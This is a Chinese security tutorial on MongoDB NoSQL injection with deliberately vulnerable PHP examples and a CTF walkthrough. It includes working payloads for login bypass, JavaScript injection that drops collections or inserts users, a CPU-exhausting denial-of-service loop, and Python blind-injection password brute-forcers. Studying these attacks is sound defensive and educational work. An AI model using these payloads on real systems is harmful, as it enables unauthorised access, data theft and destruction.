2020-03-17
4.8k
文章首发于 信安之路 公众号
NoSQL注入之MongoDB
0x01 NoSQL和MongoDB
NoSQL
NoSQL的概念就不赘述了,以下摘自菜鸟教程。
NoSQL,指的是非关系型的数据库。NoSQL有时也称作Not Only SQL的缩写,是对不同于传统的关系型数据库的数据库管理系统的统称。NoSQL用于超大规模数据的存储。(例如谷歌或Facebook每天为他们的用户收集万亿比特的数据)。这些类型的数据存储不需要固定的模式,无需多余操作就可以横向扩展。
MongoDB
详细概念建议直接看教程 传送门🚪 ,这里就简单的总结几句。
在MySQL中,我们所熟知的几个最常见的概念是数据库(Database)、表(Table)、字段(Column)、记录(Record)、索引(Index),这些术语映射到MongoDB中大概等价于数据库(Database)、集合(Collection)、域(Field)、文档(Document)、索引(Index)。下面就通过官网文档的几张图略作解释。
文档是由一组键值(key-value)对(即 BSON,Binary JSON)组成。MongoDB 的文档不需要设置相同的字段,并且相同的字段不需要相同的数据类型,例如:
集合就是 MongoDB 文档组,集合存在于数据库中,集合没有固定的结构,这意味着你对集合可以插入不同格式和类型的数据,但通常情况下我们插入集合的数据都会有一定的关联性。下面这张图展示了这三者之间的关系:
好了,前置知识部分介绍到这里,下面开始今天的正文部分:MongoDB注入
0x02 NoSQL注入
讲MangoDB注入之前,我们先大致了解一下整个NoSQL注入的流程,下面这张图来自OWASP:
NoSQL提供了新的数据模型和查询格式,从而可以规避常规的SQL注入攻。但是,它们也为攻击者提供了插入恶意代码的新方法。总的来讲有四种注入手法:
重言式
又称为永真式(这个好像是数理逻辑里面的术语),此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。
联合查询
联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。
JavaScript注入
MongoDB Server支持JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,传递不干净的用户输入到这些查询中可以注入任意JavaScript代码,导致非法的数据获取或篡改。
盲注
当页面没有回显时,那么我们可以通过$regex
正则表达式来达到和SQL注入中substr()
函数相同的功能,而且NoSQL用到的基本上都是布尔盲注。
0x03 PHP MongoDB注入
在PHP中使用MongoDB你必须使用 MongoDB 的 PHP驱动 ,官网上可以看到有很多版本,其中1.0.0版本之后,php_mongodb.dll将不再支持MongoClient
类,也就是说,$m = new MongoClient("mongodb://localhost:27017");
这种调用方式已经被淘汰,而是用命名空间的方式,但是注入的手法和原理是差不多的,这里就主要介绍一下新版PHP驱动进行查询操作MongoDB的三种方法(一般注入也是发生在查询语句中),为了方便,均以GET请求方式为例。
测试环境
win10
PHP 7.3.4
MongoDB Server 4.2
php_mongodb.dll 1.7.4
重言式注入
利用executeQuery
直接查询:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php $manager = new MongoDB\Driver\Manager("mongodb://localhost:27017" ); $uname = $_GET['username' ]; $pwd = $_GET['password' ]; $query = new MongoDB\Driver\Query(array ( 'uname' => $uname, 'pwd' => $pwd )); $result = $manager->executeQuery('test.users' , $query)->toArray(); $count = count($result); if ($count > 0 ) { foreach ($result as $user) { $user = ((array )$user); echo 'username:' . $user['uname' ] . '<br>' ; echo 'password:' . $user['pwd' ] . '<br>' ; } } else { echo 'Not Found' ; }
传递的参数是一个数组,比较安全。这种形式叫 ODM
,它会帮你过滤数据,所以一般不用担心原语句被破坏。
ORM
对应关系型数据库,如 MySQL;ODM
对应文档型数据库,如 MongoDB。
当我们用公共用户ca01h输入时,显示出username和password:
这是一个正常的输入,数据处理过程如下图所示:
PHP允许最终用户通过将URL参数更改为带有方括号的参数来将GET查询字符串输入更改为数组,我们试一下这种输入:
$ne即not equal不等于
amazing~所有用户都查出来了,再看一下数据处理过程:
对于PHP本身的特性而言,由于其松散的数组特性,导致如果我们输入value=1
那么,也就是输入了一个value的值为1的数据。如果输入value[$ne]=1
也就意味着value=array($ne=>1)
,在MongoDB中,原来的一个单个目标的查询变成了条件查询。同样的,我们也可以使用username[$gt]=&password[$gt]=
作为payload进行攻击。
这种方式也是我们通常用来验证网站是否存在NoSQL注入的第一步。
联合查询注入
我们都知道在SQL时代拼接字符串容易造成SQL注入,NoSQL也有类似问题,但是现在无论是PHP的MongoDB driver还是node.js的mongoose都必须要求查询条件必须是一个数组或者query对象了,因此简单看一下就好。
示例代码:
1 string query ="{ username: '" + $username + "', password: '" + $password + "' }"
Payload:
1 username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: 'successful MongoDB injection'
相当于执行了:
1 { username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: 'successful MongoDB injection'
这种手法和SQL注入比较相似:
1 select * from logins where username = 'admin' and (password true<> or ('a'='a' and password = ''))
JavaScript注入
$where操作符
在MongoDB中 $where操作符是可以执行JavaScript语句的,在MongoDB 2.4之前,通过$where操作符使用map-reduce
、group
命令可以访问到mongo shell中的全局函数和属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php $manager = new MongoDB\Driver\Manager(); $uname = $_GET['username' ]; $pwd = $_GET['password' ]; $function = "function() {if(this.uname == '$uname ' && this.pwd == '$pwd ') return {'username': this.uname, 'password': this.pwd}}" ; $query = new MongoDB\Driver\Query(array ( '$where' => $function )); $result = $manager->executeQuery('test.users' , $query)->toArray(); $count = count($result); if ($count>0 ) { foreach ($result as $user) { $user=(array )$user; echo 'username: ' .$user['uname' ]."<br>" ; echo 'password: ' .$user['pwd' ]."<br>" ; } } else { echo 'Not Found' ; }
MongoDB 2.4版本之前,可以访问到db属性:
1 ?username='||1) return {'username': tojson(db.getCollectionNames()), 'password': 'hacked'}}//&password=1
由此可以扩展出其他的很多类似的payload。
MongoDB 2.4版本之后,无法访问全局属性,NoSQL中的万能密码payload(单引号闭合):
1 ?username=1&password=admin' || '' = '
相当于执行:
1 $function = "function() {if(this.uname == 'anything' && this.pwd == 'admin' || '' == '') return {'username': this.uname, 'password': this.pwd}}";
此外还有一个类似于DOS攻击的payload,可以让服务器CPU飙升到100%持续5秒:
1 ?username=1&password=1;(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();
eval
注意,eval
使用方式在Mongo3.0之后已经被废弃了,而且在官方页面中也没有Mongo3.0版本之前的下载链接了,以下的实例代码未经测试,仅提供给大家一个思路,以下代码引用自https://www.tr0y.wang/2019/04/21/MongoDB%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/index.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php $manager = new MongoDB\Driver\Manager(); $uname = $_GET['username' ]; $pwd = $_GET['password' ]; $cmd = new MongoDB\Driver\Command([ 'eval' => "db.users.distinct('uname', {uname: '" .$uname'})" ]); echo "db.users.distinct(' uname', {uname: ' ".$uname '})" ;$result = $manager->executeCommand('sec_test' , $cmd)->toArray(); $result =((array )$result[0 ])['retval' ]; $count = count($result); if ($count>0 ) { foreach ($result as $user) { $user=(array )$user; echo 'username: ' .$user['uname' ]."\n" ; echo 'password: ' .$user['pwd' ]."\n" ; } } else { echo 'Not Found' ; } ?>
往users集合插入攻击者用户:
1 ?username=1'});db.users.insert({"username":"ca01h","password":"1"});db.users.find({'username':'2
删掉users集合:
1 ?username=1'});db.users.drop();db.users.find({'username':'2
mapReduce
MongoDB中的mapReduce
函数有点类似于MySQL中的group by
操作,下面是一个官方文档的例子,在集合 orders 中查找 status:“A” 的数据,并根据 cust_id 来分组,并计算 amount 的总和:
简单的解释一下:
map
函数用于分组:
1 function map ( ) { emit(param1, param2); }
param1:需要分组的字段,this.字段名;
param2:需要进行统计的字段,this.字段名。
reduce
函数用于处理需要统计的字段:
1 function reduce (key, values ) {
key: 指分组字段(emit的param1)对应的值;
values:指需要统计的字段(emit的param2)值组成的数组。
Map函数和Reduce函数可以使用 JavaScript 来实现,使得MapReduce的使用非常灵活和强大。但是同样也带来了隐患,假设有这样的一个业务场景,数据库中存储了一个store
集合,有一系列商品的名称、价格和数量,我们想得到相同商品的价格或者数量的总和,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 require_once __DIR__ "/vendor/autoload.php" ;$param = $_POST['param' ]; $collection = (new MongoDB\Client)->test->stores; $map = "function() { for (var i = 0; i < this.items.length; i++) { emit(this.name, this.items[i].$param ); } }" ;$reduce = "function(name, sum) { return Array.sum(sum); }" ; $opt = "{ out: 'totals' }" ; $results = $collection->mapReduce($map, $reduce, $out);
该代码应该在$param
给定的字段上求和,但是这同样给了攻击者可乘之机,如果$param
是这样:
1 2 3 a);}},function(kv) { return 1; }, { out: ‘x’ }); db.injection.insert({success:1}); return 1; db.stores.mapReduce(function() { { emit(1,1
那么在MongoDB中就相当于执行了下面这条语句:
1 2 3 4 5 6 7 8 9 10 db.stores.mapReduce(function() { for (var i=0; i < this.items.length; i++) { emit(this.name, this.items[i].a); } }, function(kv) { return 1; }, { out: 'x' }); db.injection.insert({success:1}); return 1; db.stores.mapReduce(function() { { emit(1,1); } }, function(name, sum) { return Array.sum(sum); }, { out: 'totals' });"
相当于直接控制了整个MongoDB的操作。
但我们也同时发现,构建这样的payload是有一定难度的,需要我们对MongoDB,JavaScript和业务都有足够的了解,这也是NoSQL注入的局限性。但是,这个例子也告诉我们有用户输入的地方就有危险存在,比如后面有一个CTF题,用的也是MongoDB中的聚合函数aggregate
,但是因为一个GET参数而存在注入漏洞。
盲注
回想一想上面的例子,假如页面只是告诉你成功或者失败,那么就是我们在 MySQL 里遇到的布尔盲注了。布尔盲注重点在于怎么逐个提取字符,MySQL 里我们可以采用substr
,而在 MongoDB 里我们有 $regex
。
已知某一个用户名的前提下判断的密码长度:
1 ?username[$eq]=ca01h&password[$regex]=.{5}
逐位提取字符:
1 2 3 4 5 6 7 8 9 10 11 12 # url格式 ?username[$eq]=ca01h&password[$regex]=c.{4} ?username[$eq]=ca01h&password[$regex]=ca.{3} ?username[$eq]=ca01h&password[$regex]=ca0.{2} ?username[$eq]=ca01h&password[$regex]=c.* ?username[$eq]=ca01h&password[$regex]=ca.* # json格式 {"username": {"$eq": "ca01h"}, "password": {"$regex": "^c" }} {"username": {"$eq": "ca01h"}, "password": {"$regex": "^ca" }} {"username": {"$eq": "ca01h"}, "password": {"$regex": "^ca0" }}
当然,提到盲注肯定少不了脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsimport urllib3import stringimport urlliburllib3.disable_warnings() username = 'admin' password = '' target = 'http://127.0.0.1/mongo/test.php' while True : for c in string.printable: if c not in ['*' , '+' , '.' , '?' , '|' , '#' , '&' , '$' ]: payload = '?username=%s&password[$regex]=^%s' % (username, password + c) r = requests.get(target + payload) if 'OK' in r.text: print("Found one more char : %s" % (password+c)) password += c
爆破密码结果如下:
类似的还有POST的版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsimport urllib3import stringimport urlliburllib3.disable_warnings() username="admin" password="" target = 'http://127.0.0.1/mongo/test.php' headers = {'content-type' : 'application/json' } while True : for c in string.printable: if c not in ['*' ,'+' ,'.' ,'?' ,'|' ]: payload = '{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) r = requests.post(target, data = payload, headers = headers, verify = False , allow_redirects = False ) if 'OK' in r.text or r.status_code == 302 : print("Found one more char : %s" % (password+c)) password += c
当然这里的脚本还是有一些改进的地方,比如可以首先判断用户名或密码长度,而且上面代码去掉了一些特殊字符等等的。这里就不再多做演示了,刚好下面有一个实例靶机是需要写Python脚本盲注MongoDB,那个代码考虑的问题更多,可以稍微看一下。
0x04 Node.JS MongoDB注入
技巧跟PHP MongoDB是类似的,这里就提供一些Node.JS的靶场给大家练练手:
https://pockr.org/bug-environment/detail?environment_no=env_75b82b98ffedbe0035
https://github.com/ricardojoserf/NoSQL-injection-example
0x05 MongoDB 注入实例
CTF NopeSQL
靶机地址:https://cybrics.net/tasks/nopesql
扫描网站发现有Git源码泄露,用GitHack工具获得index.php
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 <?php require_once __DIR__ . "/vendor/autoload.php"; function auth($username, $password) { $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users; $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}'; $document = $collection->findOne(json_decode($raw_query)); if (isset($document) && isset($document->password)) { return true; } return false; } $user = false; if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) { $user = auth($_COOKIE['username'], $_COOKIE['password']); } if (isset($_POST['username']) && isset($_POST['password'])) { $user = auth($_POST['username'], $_POST['password']); if ($user) { setcookie('username', $_POST['username']); setcookie('password', $_POST['password']); } } ?> <?php if ($user == true): ?> Welcome! <div> Group most common news by <a href="?filter=$category">category</a> | <a href="?filter=$public">publicity</a><br> </div> <?php $filter = $_GET['filter']; $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news; $pipeline = [ ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]], ['$sort' => ['count' => -1]], ['$limit' => 5], ]; $filters = [ ['$project' => ['category' => $filter]] ]; $cursor = $collection->aggregate(array_merge($filters, $pipeline)); ?> <?php if (isset($filter)): ?> <?php foreach ($cursor as $category) { printf("%s has %d news<br>", $category['_id'], $category['count']); } ?> <?php endif; ?> <?php else: ?> <?php if (isset($_POST['username']) && isset($_POST['password'])): ?> Invalid username or password <?php endif; ?> <form action='/' method="POST"> <input type="text" name="username"> <input type="password" name="password"> <input type="submit"> </form> <h2>News</h2> <?php $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news; $cursor = $collection->find(['public' => 1]); foreach ($cursor as $news) { printf("%s<br>", $news['title']); } ?> <?php endif; ?>
第一步是利用重言式注入登录,但是有点不同的是,输入的参数被双引号包括,所以我们必须想办法闭合这个双引号,payload:
1 username=1&password=","password":{"$ne"=null}, "username":admin"
这里如果直接使用{"$ne":null}
会出现500的错误:
1 2 3 4 5 6 7 8 9 10 代码: var_dump(json_decode($raw_query)); 输出: object(stdClass)#1 (2) { ["username"]=> string(12) "{'$ne':null}" ["password"]=> string(12) "{'$ne':null}" }
发现{'$ne':null}
被解析成了string而不是array。前一个payload虽然username
和password
重复了,但json_decode
时变量只会是最后一次的赋值。
登录成功后
filter参数里可以填 category
展示目录 text
展示内容 title
展示标题,但是都限制了5条。
代码里是用的MongoDB聚合函数aggregate
,下面这张图也是来自官方文档解释了aggregate
函数的执行过程:
使用aggregate
聚合函数时,在里面是可以使用条件判断语句的。在MongoDB中$cond
表示if判断语句,匹配的符号使用$eq
,连起来为[$cond][if][$eq]
,当使用多个判断条件时重复该语句即可。
官方文档列出的$cond
的用法:
官方文档的例子 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 db.inventory.aggregate( [ { $project: { item: 1, discount: { $cond: { if: { $gte: [ "$qty", 250 ] }, then: 30, else: 20 } } } } ] )
现在我们的目的是:如果$category
的值是flag,那么就输出$title
的内容,否则还是原样输出$catagory
,照着上面的例子写成MongoDB shell的形式就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 db.news.aggregate( [ { $project: { category: { $cond: { if: { $eq: [ "$category", "flags" ] }, then: $title, else: $category } } } } ] )
转换成PHP数组形式传入filter参数:
1 ?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$title&filter[$cond][else]=$category
转换成raw_query
的形式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 { "category" : { "$cond" : { "if" : { "$eq" : [ "$category" , "flags" ] }, "then" : "$title" , "else" : "$category" } } }
var_dump(json_decode(raw_query))
即为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 object(stdClass)#4 (1) { ["category"]=> object(stdClass)#3 (1) { ["$cond"]=> object(stdClass)#2 (3) { ["if"]=> object(stdClass)#1 (1) { ["$eq"]=> array(2) { [0]=> string(9) "$category" [1]=> string(5) "flags" } } ["then"]=> string(6) "$title" ["else"]=> string(9) "$category" } } }
接着直接修改$title
为$text
查看:
成功拿到flag~
HTB Mongo
最近做了一个HackTheBox的靶机,主要考察的就是写脚本盲注MongoDB,限于篇幅原因,就不把walkthrough贴在这里了,感兴趣的同学可以移步于此 。
0x06 工具
Github上有个叫NoSQLAttack 工具,不过已经没有维护了。
另外还有一个NoSQLMap 工具,这个项目作者仍在维护。
0x07 参考资料
https://www.runoob.com/mongodb/
https://pockr.org/activity/detail?activity_no=act_761e1e744d8aa16823#sp_26a751c506f61078b0
https://www.mi1k7ea.com/2019/08/11/NoSQL注入之MongoDB/#0x03-NoSQL注入
https://www.tr0y.wang/2019/04/21/MongoDB注入指北/index.html
https://nullsweep.com/a-nosql-injection-primer-with-mongo/
https://zanon.io/posts/nosql-injection-in-mongodb